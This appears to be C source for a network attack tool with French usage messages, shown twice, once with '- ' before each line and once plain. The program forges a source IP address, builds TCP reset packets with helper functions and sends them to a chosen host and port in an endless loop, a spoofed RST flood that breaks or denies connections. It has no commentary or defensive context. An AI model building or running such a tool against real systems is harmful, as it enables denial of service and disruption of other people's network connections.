- #include <stdio.h>
- #include "proto.h"
-
-
- int main(int argc, char **argv)
- {
- int sock = socket(PF_INET,SOCK_RAW,IPPROTO_TCP);
- char packet[4096];
- struct sockaddr_in sin;
- char c = 0;
- char *src = NULL, *dest = NULL;
- int port = 0;
-
- while((c = getopt(argc,argv,"s:d:p:h")) != -1)
- {
- switch(c)
- {
- case 's':
- src = optarg;
- printf("\\nIP source:\\t\\t%s",src);
- break;
- case 'd':
- dest = optarg;
- printf("\\nIP de destination:\\t\\t%s",dest);
- break;
- case 'p':
- port = atoi(optarg);
- printf("\\nPort:\\t\\t%d",port);
- break;
- case 'h':
- case '?':
- printf(VERSION"Usage:\\n\\t-s\\tAdresse IP source\\n\\t-d\\tAdresse IP de destination\\n\\t-p\\tNuméro de port\\n");
- exit(0);
- break;
- }
- }
-
- if((port <= 0) || (src == NULL) || (dest == NULL))
- {
- printf(VERSION"Usage:\\n\\t-s\\tAdresse IP source\\n\\t-d\\tAdresse IP de destination\\n\\t-p\\tNuméro de port\\n");
- exit(0);
- }
-
- sin.sin_family = AF_INET;
- sin.sin_port = htons (port);
- sin.sin_addr.s_addr = inet_addr (dest);
-
- memset (packet, 0, 4096);
-
- struct ip *iph = (struct ip *) packet;
- struct tcphdr *tcph = (struct tcphdr *) (packet + sizeof(struct ip));
-
- create_iph(iph,src,dest,sizeof(struct ip)+sizeof(struct tcphdr)+0,6);
- create_tcp_rst(tcph,port,src,dest,0);
-
- set_socket(sock);
-
- while(1)
- {
-
- sendto (sock,packet,IPHDR+TCPHDR,0,(struct sockaddr *) &sin,sizeof (sin));
- create_tcp_rst(tcph,port,src,dest,0);
- }
-
- return 0;
- }
#include <stdio.h>
#include "proto.h"
int main(int argc, char **argv)
{
int sock = socket(PF_INET,SOCK_RAW,IPPROTO_TCP);
char packet[4096];
struct sockaddr_in sin;
char c = 0;
char *src = NULL, *dest = NULL;
int port = 0;
while((c = getopt(argc,argv,"s:d:p:h")) != -1)
{
switch(c)
{
case 's':
src = optarg;
printf("\\nIP source:\\t\\t%s",src);
break;
case 'd':
dest = optarg;
printf("\\nIP de destination:\\t\\t%s",dest);
break;
case 'p':
port = atoi(optarg);
printf("\\nPort:\\t\\t%d",port);
break;
case 'h':
case '?':
printf(VERSION"Usage:\\n\\t-s\\tAdresse IP source\\n\\t-d\\tAdresse IP de destination\\n\\t-p\\tNuméro de port\\n");
exit(0);
break;
}
}
if((port <= 0) || (src == NULL) || (dest == NULL))
{
printf(VERSION"Usage:\\n\\t-s\\tAdresse IP source\\n\\t-d\\tAdresse IP de destination\\n\\t-p\\tNuméro de port\\n");
exit(0);
}
sin.sin_family = AF_INET;
sin.sin_port = htons (port);
sin.sin_addr.s_addr = inet_addr (dest);
memset (packet, 0, 4096);
struct ip *iph = (struct ip *) packet;
struct tcphdr *tcph = (struct tcphdr *) (packet + sizeof(struct ip));
create_iph(iph,src,dest,sizeof(struct ip)+sizeof(struct tcphdr)+0,6);
create_tcp_rst(tcph,port,src,dest,0);
set_socket(sock);
while(1)
{
sendto (sock,packet,IPHDR+TCPHDR,0,(struct sockaddr *) &sin,sizeof (sin));
create_tcp_rst(tcph,port,src,dest,0);
}
return 0;
}